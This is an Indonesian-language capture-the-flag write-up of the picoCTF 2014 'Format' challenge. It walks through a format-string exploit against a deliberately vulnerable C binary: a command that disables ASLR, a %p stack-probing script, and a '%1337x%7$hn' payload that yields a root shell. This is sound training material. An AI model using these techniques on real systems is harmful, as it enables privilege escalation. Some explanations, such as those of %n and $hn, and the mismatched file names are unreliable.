PICO CTF 2014: Format

Pendahuluan

Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada variabel yang salah menggunakan pointer dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.

Alat dan Bahan

Fail: format.c
Kompiler: GCC
Debugger: GDB
Sistem operasi: Ubuntu 14.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int secret = 0;

void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv){
    int *ptr = &secret;
    printf(argv[1]);

    if (secret == 1337){
        give_shell();
    }
    return 0;
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o overflow2 -ggdb overflow2.c

Penjelasan

-m32
    Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
    Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
    Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
    Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
    Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
    Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pengumpulan Infomasi

Jalankan program secara normal terlebih dahulu.

# ./format test
test

Program tersebut menerima argumen melalui command line.

Identifikasi Kelemahan

Untuk mencari kelemahan program langkah yang digunakan adalah dengan melakukan debugging pada variabel secret.

# format gdb -q format   
Reading symbols from format...done.
>>> p &secret
$1 = (int *) 0x804a030 <secret>
>>>

Alamat variabel secret yang tersimpan dalam memori ini akan digunakan untuk memanggil nilainya pada argumen program.
Untuk mencari alamat memori yang diinginkan, teknik yang bisa dilakukan adalah dengan menggunakan string format.

#!/bin/bash
buffer=" %p"
for i in {1..8}
do
    OUTPUT="$(./format "$buffer")"
    if [[ $OUTPUT == *"0x804a030"* ]]; then
        echo $i
        echo $buffer
        echo $OUTPUT
        break
    fi
    buffer+=" %p"
done

Luaran:

# bash find_variable_address.sh
7
%p %p %p %p %p %p %p
0xffddacf4 0xffddad00 0xf755842d 0xf76cf3c4 0xf7736000 0x804852b 0x804a030

Eksploitasi

Berdasarkan identifikasi kelemahan posisi alamat variabel secret ada di posisi ketujuh. Untuk mengisi nilai secret yang ada di argumen ketujuh, gunakan string format berikut:

%1337x%7$hn

Penjelasan

    1337
Nilai yang akan diinisiasi pada variabel secret

    x%7
Lokasi variabel secret pada stack ketujuh

    %n
Mengkonversi nilai 1337 yang awalnya string menjadi integer
    $hn
Menulis nilai pada stack byte demi byte agar bisa diterima dengan baik

Untuk payload final yang digunakan adalah

./format "$(python -c 'import sys; sys.stdout.write("%1337x%7$hn")')"

Luaran:

./format "$(python -c 'import sys; sys.stdout.write("%1337x%7$hn")')"
# whoami
root

results matching ""

    No results matching ""